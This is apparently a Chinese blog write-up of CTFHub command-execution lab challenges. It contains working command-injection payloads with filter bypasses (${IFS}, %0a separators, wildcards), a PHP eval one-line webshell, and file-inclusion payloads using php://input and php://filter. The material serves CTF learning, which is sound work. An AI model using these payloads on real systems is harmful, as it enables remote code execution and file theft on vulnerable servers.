• CTFHub-技能树-命令执行


    CTFHub-技能树-命令执行

    1.命令注入

    给了源码:

    // 关键代码
    <?php
    $res = FALSE;
    if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
        $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
        exec($cmd, $res);// 执行cmd,把结果输出到res
    }
    
    if ($res) {
        print_r($res);// 打印结果
    }
    show_source(__FILE__);
    ?>
    

    根据第五行代码,这里直接拼接就行

    看到有一个php文件,8061098418328.php,直接用cat,但是没有显示

    考虑到有特殊字符,无法回显,使用base64编码,拿到flag。

    这里用到了管道符|,表示把上一条命令的输出作为下一条命令的输入

    2.过滤cat

    过滤cat,类似cat的指令这里有一堆

    和上一题思路一样,拼接语句

    先用ls查看文件名

    再用一个类似于cat的指令查看内容并以base64格式输出

    下一题

    3.过滤空格

    空格用${IFS}代替即可,还可以使用IFS$9、%09、<、>、<>、{,}、%20来代替空格

    其余思路和上一题一样

    4.过滤目录分隔符

    emmmm,我想的是,过滤了目录分隔符/那我就不用了,

    直接用拼接命令即可,其余思路一样

    payload: 127.0.0.1;cd flag_is_here;cat flag_159229063344.php | base64

    5.过滤运算符

    前边只有base64编码的时候用到了运算符,而file | base64也可以写成base64 file

    剩下的思路以之前一致

    6.综合过滤练习

    过滤了|,&,;, ,/,cat,flag,ctfhub

    空格可以用${IFS}

    cat可以用more

    flag可以用正则f***

    ctfhub应该用不到

    查了一下,在linux下,命令分隔符除了;还能用%0a(换行符)

    有了;就可以不用运算符了

    然后按着之前的思路去做就可以了

    最终的payload

    !这里要注意,因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码

    查看目录127.0.0.1%0als

    查看文件夹内容127.0.0.1%0acd${IFS}f***_is_here%0als

    查看flag127.0.0.1%0acd${IFS}f***_is_here%0abase64${IFS}f***_31393309531738.php

    7.eval执行

    • 题目

      <?php
      if (isset($_REQUEST['cmd'])) {
          eval($_REQUEST["cmd"]);
      } else {
          highlight_file(__FILE__);
      }
      ?>
      
    • 直接运行cmd参数,没有过滤,使用system函数即可执行bash命令

    • 解题

      eval():将传入的参数当作php代码执行,所以传参需要传入;

      ls/find找到flag,再cat即可

    8.文件包含

    • 题目内容

      • index.php

        <?php
        error_reporting(0);
        if (isset($_GET['file'])) {
            if (!strpos($_GET["file"], "flag")) {
                include $_GET["file"];
            } else {
                echo "Hacker!!!";
            }
        } else {
            highlight_file(__FILE__);
        }
        ?>
        <hr>
        i have a <a href="shell.txt">shell</a>, how to use it ?
        i have a shell, how to use it ?
        

        如果GET参数file中没有关键词flag,则包含file参数所指文件

        include、require等包含类文件,会把指定文件中的内容当作php代码执行,当然不同函数有区别,开源在php manual查一下

      • shell.txt

        <?php eval($_REQUEST['ctfhub']);?>
        

        shell.txt是php一句话马

    • 解题过程

      构造payload,包含shell.txt并执行传入的参数

      ?file=shell.txt&ctfhub=PHP_CODE;

      因为不能含有关键词flag,所以最后利用通配符*来完成文件读取,fla*

    9.php://input

    • 题目内容

      • index.php

        <?php
        if (isset($_GET['file'])) {
            if ( substr($_GET["file"], 0, 6) === "php://" ) {
                include($_GET["file"]);
            } else {
                echo "Hacker!!!";
            }
        } else {
            highlight_file(__FILE__);
        }
        ?>
        <hr>
        i don't have shell, how to get flag? <br>
        <a href="phpinfo.php">phpinfo</a>
        i don't have shell, how to get flag?
        phpinfo
        

        如果GET参数file的开头为php://则包含file

      • phpinfo

        给了phpinfo,看了下allow_url_include/fopen都为On,那么就可以利用php伪协议进行命令执行/文件读取

    • 解题过程

      既然题目是php://input,那就用它吧

      php://input === POST包的body

      那么/?file=php://input ,最终效果为include(php://input);

      我们只需要把POST的body设置为我们要执行的php代码即可

    10.读取源代码

    • 题目内容

      • index.php

        <?php
        error_reporting(E_ALL);
        if (isset($_GET['file'])) {
            if ( substr($_GET["file"], 0, 6) === "php://" ) {
                include($_GET["file"]);
            } else {
                echo "Hacker!!!";
            }
        } else {
            highlight_file(__FILE__);
        }
        ?>
        <hr>
        i don't have shell, how to get flag? <br>
        flag in <code>/flag</code>
        i don't have shell, how to get flag?
        flag in /flag
        

        包含部分代码和上一题一样,php://开头即可

        此外,题目指出flag位置 /flag

    • 解题过程

      使用php伪协议php://filter进行文件读取,因为是flag,所以不需要编码

      构造payload:?file=php://filter/read/resource=/flag

    11.远程包含

    • 题目内容

      php://input一样,本意应该是让我们把php脚本传到自己的vps上,然后使用url远程包含,达到rce的目的

      即file===你的url

    • 解题过程

      因为vps暂时没法用,偷懒一下,和php://input用的一样的解

  • 相关阅读:
    Tornado Web框架
    使用django实现自定义用户认证
    设置DNS 代理
    Docker
    TCP/IP详解学习笔记(1)-基本概念
    IMS知识学习路径浅谈
    Word文档不能编辑解决方法
    P2P网络“自由”穿越NAT的“秘密”原理
    斗战神 拳猴刷图加点
    斗战神 装备精炼
  • 原文地址:https://www.cnblogs.com/R3col/p/12515059.html
Copyright © 2020-2023  润新知